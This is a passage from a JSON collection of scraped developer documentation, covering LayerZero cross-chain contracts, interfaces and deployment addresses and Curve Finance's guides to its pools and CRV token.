0x9D88a2f4253b106A1F8e169485490f7230b4276e CoreDAO: 0x6590C7e65EEC453a78199B0bE418dF7291DF9039 Avalanche 0xD59DdbF4c0E1ed3debD2f7afFc1fA9dEF198A652 Fantom 0x7cE1fab01F3cd7253731a9e11180d49ac960285C Optimism 0x40b237EDdb5B851C60630446ca120A1D5c7B6253 Arbitrum One 0x2274D83ed2B4c1fCd6C1CCBF9b734F7e436DfD44 Moonbeam0xE04E090a49aE0AF87583B808B05d2dc8c4d1E712 Gnosis Chain 0xFd1fabb34c4D6B5D30a1bFE2Fa76Cc15206fb368 Metis 0x057DCB38db5350Db12DCD94428c303D523f72153 Arbitrum Nova 0xD2C51b14cA69D7E557719A8534e1c5514f28DB3b zkLightClient Addresses (Testnets) Ethereum Goerli Testnet: 0x55d193eF196Be455c9c178b0984d7F9cE750CCb4 BNB Smart Chain Testnet: 0x2C41853Ed4681A39c89c61Cdeb8c155561391215 Avalanche Fuji Testnet: 0x8517BA5E3eda338d9707a7B4a36033331e3d3B00 Optimism Goerli Testnet: 0x1853f53Aa7d9f6aF8537833c4255f928ab8F9D61 Arbitrum Goerli Testnet: 0xbFB5FEE3DCf2aF08F9f7a05049806fBC2E72A702 Previous zkLightClient on LayerZero Next - Technical Reference Testnet Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "zkLightClient on LayerZero", - "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/overview-of-polyhedra-zklightclient/zklightclient-on-layerzero", - "body": "zkLightClient on LayerZero Integrating Polyhedra zkLightClient technology into LayerZero LayerZero is an omnichain interoperability protocol that enables cross-chain messaging. Applications built using blockchain technology (decentralized applications) can use the LayerZero protocol to connect to 30+ supported blockchains seamlessly. This allows dApp users to interact securely and efficiently with assets across chains. Polyhedra's zkLightClient technology is fully integrated with LayerZero's messaging protocol, so application developers can use zero-knowledge-proof technology without barriers. Developers can easily build cross-chain applications on top of LayerZero through its extensive developer tooling and community support. Incorporating Polyhedra zkLightClient technology into Layerzero Network LayerZero's ULNv2 validation library relies on two parties, the Oracle and Relayer, to transfer messages between on-chain endpoints. When LayerZero sends a message from chain A to chain B, the message is routed through the endpoint on chain A to the ULNv2 validation library. The ULNv2 library notifies the Oracle and Relayer of the message and its destination chain. The Oracle forwards the packet hash to the endpoint on chain B, and the Relayer submits the packet to be verified on-chain against the hash and delivers the message. On-chain light clients allow for the source chain's validator set to attest to something that occurred on their chain to a destination chain. In conjunction with other libraries, light clients add a layer of security on top of the LayerZero messaging protocol. On-chain transaction verification has been cost-prohibitive to the tune of $50m-$100m/day per pair-wise chain connected to Ethereum due to the presence of extensive transaction logs, which are necessary for the proof but not for the application itself. Polyhedra's zkLightClient technology, built on LayerZero, harnesses the compression of ZKP technology and reduces the on-chain verification tremendously with lower latency by using efficient ZKP protocols. In addition, multiple transaction verifications can be batched into a single zero-knowledge proof. Previous Overview of Polyhedra zkLightClient Next zkLightClient Addresses Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "IERC165 OFT Interface Ids", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/oft/ierc165-oft-interface-ids", - "body": "IERC165 OFT Interface Ids Use these interface ids to determine which version of OFT is deployed. OFT(v1): 0x14e4ceea OFTV2: 0x1f7ecdf7 OFTWithFee: 0x6984a9e8 interface ERC165 { /// @notice Query if a contract implements an interface /// @param interfaceID The interface identifier, as specified in ERC-165 /// @dev Interface identification is specified in ERC-165. This function /// uses less than 30,000 gas. /// @return `true` if the contract implements `interfaceID` and /// `interfaceID` is not 0xffffffff, `false` otherwise function supportsInterface(bytes4 interfaceID) external view returns (bool); } Example Hardhat Task module . exports = async function ( taskArgs ) { const OFTInterfaceId = 0x14e4ceea ; const OFTV2InterfaceId = 0x1f7ecdf7 ; const OFTWithFeeInterfaceId = 0x6984a9e8 ; const ERC165ABI = [ \"function supportsInterface(bytes4) public view returns (bool)\" ]; try { const contract = await ethers . getContractAt ( ERC165ABI , taskArgs . address ); const isOFT = await contract . supportsInterface ( OFTInterfaceId ); const isOFTV2 = await contract . supportsInterface ( OFTV2InterfaceId ); const isOFTWithFee = await contract . supportsInterface ( OFTWithFeeInterfaceId ); if ( isOFT ) { console . log ( ` address: ${ taskArgs . address } is OFT(v1) ` ) } else if ( isOFTV2 ) { console . log ( ` address: ${ taskArgs . address } is OFTV2 ` ) } else if ( isOFTWithFee ) { console . log ( ` address: ${ taskArgs . address } is OFTWithFee ` ) } else { console . log ( ` address: ${ taskArgs . address } is not an OFT ` ) } } catch ( e ) { console . log ( \"supportsInterface not implemented\" ) } } Previous OFT Next OFT (V1) vs OFTV2 - Which should I use? Last modified 3mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "OFT (V1)", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/oft/oft-v1", - "body": "OFT (V1) Omnichain Fungible Token standard written to support EVM chains only. OFT.sol https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/token/oft/v1/OFT.sol Extensions ProxyOFT.sol Use this extension when you want to turn an already deployed ERC20 into an OFT. You can then deploy OFT contracts on the LayerZero supported chains of your choosing. When you want to transfer your OFT from the source chain the OFT will lock in the ProxyOFT and mint on the destination chain. When you come back to the ProxyOFT chain the OFT burns on the source chain and unlocks on the destination chain. https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/token/oft/v1/ProxyOFT.sol Previous OFT (V1) vs OFTV2 - Which should I use? Next OFTV2 Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "OFT (V1) vs OFTV2 - Which should I use?", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/oft/oft-v1-vs-oftv2-which-should-i-use", - "body": "OFT (V1) vs OFTV2 - Which should I use? This page explains the differences between OFT/OFTV2 and when to use each one. When to use OFT (v1) Our Omnichain Fungible Token (OFT) was our first implementation of our standard. This OFT was first used in projects such as Stargate's token. The standard was written to support EVM chains only. If you are looking to only support EVMs now and forever then OFT (V1) is for you. When to use OFTV2 What if you want to build an Omnichain Fungible Token that supports EVMs and non EVMs (eg. Aptos)? In this case you should use our OFTV2 which supports both. This version has fees, shared decimals, and composability built in. This version of OFTV2 is currently being used in projects such as BTCb . What are the differences between the two versions? The main difference between the two versions comes from the limitations of the Non EVMs. Non EVM chains such as Aptos/Solana use Uint64 to represent balance. To account for this, OFTV2 uses Shared Decimals for value transfers to normalize the data type difference. It is recommended to use a smaller shared decimal point on all chains so that your token can have a larger balance. For example, if the decimal point is 18, then you can not have more than approximately 18 * 10^18 tokens bounded by the uint64.max. OFTV2 is intended to be used with no more than 10 shared decimals Previous IERC165 OFT Interface Ids Next OFT (V1) Last modified 6d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "OFTV2", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/oft/oftv2", - "body": "OFTV2 Omnichain Fungible Token that supports both EVMs and non EVMs OFTV2.sol solidity-examples/OFTV2.sol at main LayerZero-Labs/solidity-examples GitHub Extensions ProxyOFTV2.sol Use this extension when you want to turn an already deployed ERC20 into an OFTV2. You can then deploy OFTV2 contracts on the LayerZero-supported chains of your choosing. When you want to transfer your OFT from the source chain the OFT will lock in the ProxyOFTV2 and mint on the destination chain. When you come back to the ProxyOFTV2 chain the OFT burns on the source chain and unlocks on the destination chain. solidity-examples/ProxyOFTV2.sol at main LayerZero-Labs/solidity-examples GitHub How to deploy ProxyOFT and OFT Contracts 1. Deploy your ProxyOFT contract using your ERC-20 address, and specify the shared decimals (ie. where your ERC-20 decimals > shared-decimals). 2. Deploy your OFT contract on the other connected chain(s) and specify the shared decimals in relation to your ERC-20 & ProxyOFT. 3. Set your contracts to trust one another using setTrustedRemoteAddress. Pair them to one another's chain and address. 4. Next, we're going to set our minimum Gas Limit for each chain. (Recommended 200k for all EVM chains except Arbitrum, 2M for Arbitrum). Call setMinDstGas with the chainId of the other chain, the packet type (\"0\" meaning send, \"1\" meaning send and call), and the gas limit amount. (Make sure that your AdapterParams gas limit > setMinDstGas) If providedGasLimit >= minGasLimit , it'd fail: \"LZApp: gas limit is too low\" , where providedGasLimit is _getGasLimit ( provided in _adapterParams ) and minGasLimit is minDstGasLimit FAQ If I only have tokens on EVM chains, can I use V2? Yes, you can, just make sure to set shared decimals as <= 10 if your token decimals are 18. What is shared decimals? Shared Decimals is used to normalize the data type difference across EVM chain and non-Evm. Non-evm chains often has a Uint64 data type which limits the decimals of the token to a lower amount. Shared Decimals accounts for this and translates the higher decimals of EVM to lower decimals of non-evm. What should I set as shared decimals? If your token is deployed on non-evm chains, it should be set as the lowest decimals across all chains. For example, if your token is deployed on Aptos as decimal 6 and your Ethereum token is deployed as decimal 18. Shared Decimals should be set as 6. If your tokens are only deployed on EVM chains and all have decimals larger than 8, it should be set as 8. For example, your tokens on all EVM chains have decimals of 18, the shared decimals on all chains should be set as 8. shared decimals should be set lower than 8 if you want a larger maximum send amount. Check below. How does shared decimals affect my OFT? It affects the minimum and maximum tokens you can send cross-chain. The minimum tokens you can send: 10 * ( 10^( decimals - _sharedDecimals)) The maximum tokens you can send: 18,446,744,073,709,551,615 * ( 10^( decimals - _sharedDecimals)) Previous OFT (V1) Next ONFT Last modified 1d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "1155", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/onft/1155", - "body": "1155 Omnichain NonFungible Token (ONFT1155) ONFT1155.sol https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/token/onft1155/ONFT1155.sol Extensions ProxyONFT1155.sol Use this extension when you want to turn an already deployed ERC1155 into an ONFT1155. You can then deploy ONFT1155 contracts on the LayerZero supported chains of your choosing. When you want to transfer your ONFT1155 from the source chain the ONFT1155 will lock in the ProxyONFT1155 and mint on the destination chain. When you come back to the ProxyONFT1155 chain the ONFT1155 burns on the source chain and unlocks on the destination chain. https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/token/onft1155/ProxyONFT1155.sol Previous 721 Next - EVM Guides LayerZero Integration Checklist Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "721", - "html_url": "https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/onft/721", - "body": "721 Omnichain NonFungible Token (ONFT721) ONFT721.sol https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/token/onft721/ONFT721.sol Extensions ProxyONFT721.sol Use this extension when you want to turn an already deployed ERC721 into an ONFT721. You can then deploy ONFT contracts on the LayerZero supported chains of your choosing. When you want to transfer your ONFT from the source chain the ONFT will lock in the ProxyONFT721 and mint on the destination chain. When you come back to the ProxyONFT721 chain the ONFT locks on the source chain and unlocks on the destination chain. https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/token/onft721/ProxyONFT721.sol Previous ONFT Next 1155 Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "ILayerZeroEndpoint", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/interfaces/evm-solidity-interfaces/ilayerzeroendpoint", - "body": "ILayerZeroEndpoint // SPDX-License-Identifier: BUSL-1.1 pragma solidity >= 0.5.0 ; import \"./ILayerZeroUserApplicationConfig.sol\" ; interface ILayerZeroEndpoint is ILayerZeroUserApplicationConfig { // @notice send a LayerZero message to the specified address at a LayerZero endpoint. // @param _dstChainId - the destination chain identifier // @param _destination - the address on destination chain (in bytes). address length/format may vary by chains // @param _payload - a custom bytes payload to send to the destination contract // @param _refundAddress - if the source transaction is cheaper than the amount of value passed, refund the additional amount to this address // @param _zroPaymentAddress - the address of the ZRO token holder who would pay for the transaction // @param _adapterParams - parameters for custom functionality. e.g. receive airdropped native gas from the relayer on destination function send ( uint16 _dstChainId , bytes calldata _destination , bytes calldata _payload , address payable _refundAddress , address _zroPaymentAddress , bytes calldata _adapterParams ) external payable ; // @notice used by the messaging library to publish verified payload // @param _srcChainId - the source chain identifier // @param _srcAddress - the source contract (as bytes) at the source chain // @param _dstAddress - the address on destination chain // @param _nonce - the unbound message ordering nonce // @param _gasLimit - the gas limit for external contract execution // @param _payload - verified payload to send to the destination contract function receivePayload ( uint16 _srcChainId , bytes calldata _srcAddress , address _dstAddress , uint64 _nonce , uint _gasLimit , bytes calldata _payload ) external ; // @notice get the inboundNonce of a receiver from a source chain which could be EVM or non-EVM chain // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address function getInboundNonce ( uint16 _srcChainId , bytes calldata _srcAddress ) external view returns ( uint64 ); // @notice get the outboundNonce from this source chain which, consequently, is always an EVM // @param _srcAddress - the source chain contract address function getOutboundNonce ( uint16 _dstChainId , address _srcAddress ) external view returns ( uint64 ); // @notice gets a quote in source native gas, for the amount that send() requires to pay for message delivery // @param _dstChainId - the destination chain identifier // @param _userApplication - the user app address on this EVM chain // @param _payload - the custom message to send over LayerZero // @param _payInZRO - if false, user app pays the protocol fee in native token // @param _adapterParam - parameters for the adapter service, e.g. send some dust native token to dstChain function estimateFees ( uint16 _dstChainId , address _userApplication , bytes calldata _payload , bool _payInZRO , bytes calldata _adapterParam ) external view returns ( uint nativeFee , uint zroFee ); // @notice get this Endpoint's immutable source identifier function getChainId () external view returns ( uint16 ); // @notice the interface to retry failed message on this Endpoint destination // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address // @param _payload - the payload to be retried function retryPayload ( uint16 _srcChainId , bytes calldata _srcAddress , bytes calldata _payload ) external ; // @notice query if any STORED payload (message blocking) at the endpoint. // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address function hasStoredPayload ( uint16 _srcChainId , bytes calldata _srcAddress ) external view returns ( bool ); // @notice query if the _libraryAddress is valid for sending msgs. // @param _userApplication - the user app address on this EVM chain function getSendLibraryAddress ( address _userApplication ) external view returns ( address ); // @notice query if the _libraryAddress is valid for receiving msgs. // @param _userApplication - the user app address on this EVM chain function getReceiveLibraryAddress ( address _userApplication ) external view returns ( address ); // @notice query if the non-reentrancy guard for send() is on // @return true if the guard is on. false otherwise function isSendingPayload () external view returns ( bool ); // @notice query if the non-reentrancy guard for receive() is on // @return true if the guard is on. false otherwise function isReceivingPayload () external view returns ( bool ); // @notice get the configuration of the LayerZero messaging library of the specified version // @param _version - messaging library version // @param _chainId - the chainId for the pending config change // @param _userApplication - the contract address of the user application // @param _configType - type of configuration. every messaging library has its own convention. function getConfig ( uint16 _version , uint16 _chainId , address _userApplication , uint _configType ) external view returns ( bytes memory ); // @notice get the send() LayerZero messaging library version // @param _userApplication - the contract address of the user application function getSendVersion ( address _userApplication ) external view returns ( uint16 ); // @notice get the lzReceive() LayerZero messaging library version // @param _userApplication - the contract address of the user application function getReceiveVersion ( address _userApplication ) external view returns ( uint16 ); } Previous ILayerZeroReceiver Next ILayerZeroMessagingLibrary Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "ILayerZeroMessagingLibrary", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/interfaces/evm-solidity-interfaces/ilayerzeromessaginglibrary", - "body": "ILayerZeroMessagingLibrary // SPDX-License-Identifier: BUSL-1.1 pragma solidity >= 0.7.0 ; import \"./ILayerZeroUserApplicationConfig.sol\" ; interface ILayerZeroMessagingLibrary { // send(), messages will be inflight. function send ( address _userApplication , uint64 _lastNonce , uint16 _chainId , bytes calldata _destination , bytes calldata _payload , address payable refundAddress , address _zroPaymentAddress , bytes calldata _adapterParams ) external payable ; // estimate native fee at the send side function estimateFees ( uint16 _chainId , address _userApplication , bytes calldata _payload , bool _payInZRO , bytes calldata _adapterParam ) external view returns ( uint nativeFee , uint zroFee ); //--------------------------------------------------------------------------- // setConfig / getConfig are User Application (UA) functions to specify Oracle, Relayer, blockConfirmations, libraryVersion function setConfig ( uint16 _chainId , address _userApplication , uint _configType , bytes calldata _config ) external ; function getConfig ( uint16 _chainId , address _userApplication , uint _configType ) external view returns ( bytes memory ); } Previous ILayerZeroEndpoint Next ILayerZeroUserApplicationConfig Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "ILayerZeroOracle.sol", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/interfaces/evm-solidity-interfaces/ilayerzerooracle.sol", - "body": "ILayerZeroOracle.sol // SPDX-License-Identifier: BUSL-1.1 pragma solidity >= 0.7.0 ; interface ILayerZeroOracle { // @notice query the oracle price for relaying block information to the destination chain // @param _dstChainId the destination endpoint identifier // @param _outboundProofType the proof type identifier to specify the data to be relayed function getPrice ( uint16 _dstChainId , uint16 _outboundProofType ) external view returns ( uint price ); // @notice Ultra-Light Node notifies the Oracle of a new block information relaying request // @param _dstChainId the destination endpoint identifier // @param _outboundProofType the proof type identifier to specify the data to be relayed // @param _outboundBlockConfirmations the number of source chain block confirmation needed function notifyOracle ( uint16 _dstChainId , uint16 _outboundProofType , uint64 _outboundBlockConfirmations ) external ; // @notice query if the address is an approved actor for privileges like data submission and fee withdrawal etc. // @param _address the address to be checked function isApproved ( address _address ) external view returns ( bool approved ); } Previous ILayerZeroUserApplicationConfig Next ILayerZeroRelayer.sol Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "ILayerZeroReceiver", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/interfaces/evm-solidity-interfaces/ilayerzeroreceiver", - "body": "ILayerZeroReceiver For User Application contracts to receive messages! // SPDX-License-Identifier: BUSL-1.1 pragma solidity >= 0.5.0 ; interface ILayerZeroReceiver { // @notice LayerZero endpoint will invoke this function to deliver the message on the destination // @param _srcChainId - the source endpoint identifier // @param _srcAddress - the source sending contract address from the source chain // @param _nonce - the ordered message nonce // @param _payload - the signed payload is the UA bytes has encoded to be sent function lzReceive ( uint16 _srcChainId , bytes calldata _srcAddress , uint64 _nonce , bytes calldata _payload ) external ; } This is a core interface for contract to implement so they can receive LayerZero messages! See the CounterMock example for usage Previous EVM (Solidity) Interfaces Next ILayerZeroEndpoint Last modified 4mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "ILayerZeroRelayer.sol", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/interfaces/evm-solidity-interfaces/ilayerzerorelayer.sol", - "body": "ILayerZeroRelayer.sol // SPDX-License-Identifier: BUSL-1.1 pragma solidity >= 0.7.0 ; interface ILayerZeroRelayer { // @notice query the relayer price for relaying the payload and its proof to the destination chain // @param _dstChainId - the destination endpoint identifier // @param _outboundProofType - the proof type identifier to specify proof to be relayed // @param _userApplication - the source sending contract address. relayers may apply price discrimination to user apps // @param _payloadSize - the length of the payload. it is an indicator of gas usage for relaying cross-chain messages // @param _adapterParams - optional parameters for extra service plugins, e.g. sending dust tokens at the destination chain function getPrice ( uint16 _dstChainId , uint16 _outboundProofType , address _userApplication , uint _payloadSize , bytes calldata _adapterParams ) external view returns ( uint price ); // @notice Ultra-Light Node notifies the Oracle of a new block information relaying request // @param _dstChainId - the destination endpoint identifier // @param _outboundProofType - the proof type identifier to specify the data to be relayed // @param _adapterParams - optional parameters for extra service plugins, e.g. sending dust tokens at the destination chain function notifyRelayer ( uint16 _dstChainId , uint16 _outboundProofType , bytes calldata _adapterParams ) external ; // @notice query if the address is an approved actor for privileges like data submission and fee withdrawal etc. // @param _address - the address to be checked function isApproved ( address _address ) external view returns ( bool approved ); } Previous ILayerZeroOracle.sol Next - Technical Reference LayerZero Interfaces Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "ILayerZeroUserApplicationConfig", - "html_url": "https://layerzero.gitbook.io/docs/technical-reference/interfaces/evm-solidity-interfaces/ilayerzerouserapplicationconfig", - "body": "ILayerZeroUserApplicationConfig ILayerZeroUserApplicationConfig.sol // SPDX-License-Identifier: BUSL-1.1 pragma solidity >= 0.5.0 ; interface ILayerZeroUserApplicationConfig { // @notice set the configuration of the LayerZero messaging library of the specified version // @param _version - messaging library version // @param _chainId - the chainId for the pending config change // @param _configType - type of configuration. every messaging library has its own convention. // @param _config - configuration in the bytes. can encode arbitrary content. function setConfig ( uint16 _version , uint16 _chainId , uint _configType , bytes calldata _config ) external ; // @notice set the send() LayerZero messaging library version to _version // @param _version - new messaging library version function setSendVersion ( uint16 _version ) external ; // @notice set the lzReceive() LayerZero messaging library version to _version // @param _version - new messaging library version function setReceiveVersion ( uint16 _version ) external ; // @notice Only when the UA needs to resume the message flow in blocking mode and clear the stored payload // @param _srcChainId - the chainId of the source chain // @param _srcAddress - the contract address of the source contract at the source chain function forceResumeReceive ( uint16 _srcChainId , bytes calldata _srcAddress ) external ; } Previous ILayerZeroMessagingLibrary Next ILayerZeroOracle.sol Last modified 21d ago", - "labels": [ - "Documentation" - ] - }, - { - "title": " ", - "html_url": "https://resources.curve.fi/", - "body": "Curve Resources CurveDocs/curve-resources Home Home Table of contents Welcome to Curve Finance Sections Useful links Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Welcome to Curve Finance Sections Useful links Welcome to Curve Finance Resources and guides to get started with Curve and the Curve DAO Curve's Logo, a colorized Klein Bottle Curve is DeFi's leading AMM , (Automated Market Maker). Hundreds of liquidity pools have been launched through Curve's factory and incentivized by Curve's DAO. Users rely on Curve's proprietary formulas to provide high liquidity, low slippage, and low fee transactions among ERC-20 tokens. Those resources aim to help new and existing users to become familiar with the Curve protocol , the Curve DAO , and the $CRV token . Sections Getting Started with Curve v1 and Curve v2 $CRV Token : Tokenomics, Staking, Claiming Fees Liquidity Providers : Curve Pools, MetaPools, Depositing Reward Gauges : Boosting, Gauge Weights, Set Any Token Rewards Stablecoin : crvUSD, Soft Liquidation, Bands Governance : Vote Locking, Voting, Snapshot, Proposals Multichain : Bridging, Fantom, Polygon, etc. Creating Pools : Factory Pools, Crypto Factory Pools Troubleshooting : Cross-Asset Swaps, Wallets, Stuck Transactions Useful links Governance dashboard: http://dao.curve.fi/ Governance forum: https://gov.curve.fi/ Telegram: https://t.me/curvefi Twitter: https://twitter.com/curvefinance Discord: https://discord.gg/rgrfS7W Youtube Channel: http://www.youtube.com/c/CurveFinance Technical Docs: https://curve.readthedocs.io 2023-10-04 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Understanding CryptoPools (v2)", - "html_url": "https://resources.curve.fi/base-features/understanding-crypto-pools/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) Understanding CryptoPools (v2) Table of contents Whitepaper Liquidity Providers Fees Risks $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Whitepaper Liquidity Providers Fees Risks Home Getting Started Understanding CryptoPools (v2) Crypto pools are Curve pools holding assets with different prices. Curve core originally was pegged assets but a new type of AMM allows for extremely efficient trading and low risks of non-pegged assets. Crypto pools use liquidity more effectively by concentrating it at current prices. As trades happen, the pool readjusts its internal price to the highest liquidity region without creating losses for the pool. Crypto pools also have variable fees which can range between 0.04% and 0.40%. Tricrypto , the first and main base pool has the following coins: USDT/WBTC/WETH for Ethereum. On Polygon, the first pool has AAVE tokens and can handle swaps with the following tokens: DAI/USDC/USDT/ETH/WBTC. Whitepaper Read the v2 whitepaper by clicking here . Liquidity Providers Becoming a liquidity provider in a Curve Crypto pool is in all ways similar to stable pools. You will gain exposure and risks to all assets in the pools. You can deposit one or all the coins in the pool. Always be sure to check the bonus/slippage warning box. Fees Fees on those pool range from 0.04% to 0.4%. The current fee varies based on how close the price is from the internal oracle. You can check a pool's current fee which changes every trade on the bottom of a pool page. Risks As with any liquidity providing in blockchain, there are some smart contract risks involved. Curve crypto pools have been audited by MixBytes and ChainSecurity but audits never eliminate risks completely. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Understanding Curve (v1)", - "html_url": "https://resources.curve.fi/base-features/understanding-curve/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding Curve (v1) Table of contents What is Curve.fi? What are liquidity pools? What are those percentages next to each pool? What is the CRV token? Can I use Curve on sidechains? How Can I Launch a Pool Why has Curve grown so quickly? Where can I find Curve smart contracts? Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents What is Curve.fi? What are liquidity pools? What are those percentages next to each pool? What is the CRV token? Can I use Curve on sidechains? How Can I Launch a Pool Why has Curve grown so quickly? Where can I find Curve smart contracts? Home Getting Started Understanding Curve (v1) A short guide to understand the basics of becoming a liquidity provider on Curve. Getting started with Curve isnt easy, there is a lot to grasp and the unique UI can be a lot to take in. This small guide is intended for Curve beginners with an understanding of DeFi and Crypto. It tries to answer recurring questions about how to get started with Curve and how it works or makes money for liquidity providers. What is Curve.fi? The easiest way to understand Curve is to see it as an exchange. Its main goal is to let users and other decentralised protocols exchange ERC-20 tokens (DAI to USDC for example) through it with low fees and low slippage . Unlike exchanges that match a buyer and a seller, Curve uses liquidity pools. To achieve successful exchange volume, Curve needs a high volume of liquidity (tokens) and therefore offers rewards to liquidity providers . Curve is non-custodial , meaning the Curve developers do not have access to your tokens. Curve pools are also non-upgradable, so you can have confidence that the logic protecting your funds can never change. What are liquidity pools? Liquidity pools are pools of tokens that sit in smart contracts and can be exchanged or withdrawn at rates set by the parameters of the smart contract. Adding liquidity to a liquidity pool gives you the opportunity to earn trading fees and possibly rewards. For more information, visit the following section: Understanding Curve Pools What are those percentages next to each pool? Curve pools may have several different percentages shown next to them in the UI. The first column, vAPY, refers to the annualized rate of trading fees earned by liquidity providers in the pool. Any activity on every Curve pool generates fees, a portion of which accrue to everybody who has a stake in the pool. Further information is in the Liquidity Provider section . The second column refers to the reward gauges. This entitles liquidity providers to earn bonus CRV emissions. More detail on these bonuses are in the Reward Gauges section . What is the CRV token? CRV token is a governance and utility token for Curve. Understanding $CRV Understanding Governance Can I use Curve on sidechains? Yes. Curve has launched on several sidechains and will continue to do so. Visit our section on Multichain for more information. How Can I Launch a Pool All new Curve pools are deployed permissionlessly through the Curve Factory. This means anybody can deploy a pool anytime, anywhere. For a full guide, check our Factory Pools section. Why has Curve grown so quickly? When Curve launched it grew quickly by securing the underdeveloped stablecoin market. Stablecoins have become an inherent part of cryptocurrency for a long time but they now come in many different flavours (DAI, TUSD, sUSD, bUSD, USDC and so on) which means there is a much bigger need for crypto users to move from a stable coin to another. Centralised exchanges tend to have high fees which are problematic for those trying to move from a stable coin to another. As a result, Curve.fi has become the best place to exchange stable coins because of its low fees and low slippage. The proprietary Curve StableSwap exchange was outlined in the founding whitepaper, and provides a superior formula for exchanging stablecoins than competing AMMs. Read through the whitepaper to learn more. More recently, Curve launched v2 Crypto Pools to bring the same simplicity and efficiency of Curve's stablecoin pools to transactions between differentially priced assets (ie BTC 